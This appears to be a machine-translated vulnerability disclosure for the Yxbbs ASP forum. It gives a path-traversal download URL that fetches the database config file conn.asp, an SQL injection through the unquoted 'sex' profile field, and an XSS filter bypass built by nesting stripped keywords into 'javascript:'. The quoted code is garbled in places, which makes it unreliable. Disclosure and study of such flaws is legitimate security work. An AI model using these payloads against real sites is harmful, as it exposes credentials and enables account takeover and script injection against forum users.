A brief discussion on Yxbbs vulnerability Using Code _ Vulnerability Research

1, any file download vulnerability.

Vulnerability file: viewfile.asp

Function Chkfile (FileName)
Dim temp,filetype,f
Chkfile=false
Filetype=lcase (FileName, ".") (UBound (FileName, ".")))
temp= "|asp|aspx|cgi|php|cdx|cer|asa|"
If Instr (Temp, "|") &filetype "|") >0 Then Chkfile=true
F=replace (Request ("FileName"), ".", "" "
If InStr (1,F,CHR) >0 or InStr (1,F,CHR) >0 or InStr (1,F,CHR) >0 Then
End Function

When you check the download file type, you can download it only when you are not the types.
So there are vulnerabilities that we can construct such a download
Http://www.yimxu.com/bbs/ViewFile.asp?filename=../../inc/conn.asp%20
Note that a number of% 20 is appended, representing the space.

2. SQL Injection Vulnerability
Vulnerability file: usersetup.asp

Savemyinfo ()
noticed that
Sex=yxbbs.fun.getstr ("Sex")
Qq=yxbbs.fun.getstr ("QQ")
Isqqpic=yxbbs.fun.getstr ("Isqqpic")

Public Function getstr (STR)
str = Trim (Request.Form (str))
If IsEmpty (STR) Then
STR = ""
Else
str = Replace (str, "{", "{")
str = Replace (str, "}", "}")
str = Replace (str, "'", "'")
str = Replace (str, "|", "|")
End If
Getstr = Trim (STR)
End Function

Only ' {} | And so on, but

Yxbbs.execute ("Update [Yx_user] set birthday= '" &birthday ", sex=" &sex ", picw=" &PICW ",
Pich= "&pich", mail= ' &mail ', qq= ' "&qq" ', honor= ' "&honor" ', pic= ' "&picurl" ',
Home= ' &home ', sign= ' &sign ', isqqpic= ' &isqqpic ' where Name= ' "&
Yxbbs.myname "' and Password= '" "&yxbbs.mypwd" "")

sex= "&Sex&",
As you can see, Sex can be constructed into 1,sql injection statements ... The impact on the ASSCEE database is not too great, but the SQL statement is very influential.

3. Multiple cross-station vulnerabilities
Function

Public Function UBBG (str)
Dim RE
Set re=new REGEXP
Re. Ignorecase=true
Re. Global=true
Re. Pattern= "(javascript:) | ( <) | (>) | (height) | (width) | (JScript:) | (object) | (script) | (JS:) | (VBScript:) |
(VBS:) | (\.value) | (about:) | (File:) | (Document.cookie) | (On (mouse| exit|error|click|key|load))) "
Str=re. Replace (str, "")
Re. Pattern= "(&#)"
Str=re. Replace (str, "&#")
Set re=nothing
Ubbg=str
End Function

Because the worry is empty, so it can be constructed

(Javas (object) Cript:)

After that, it becomes javascript:

Here it is.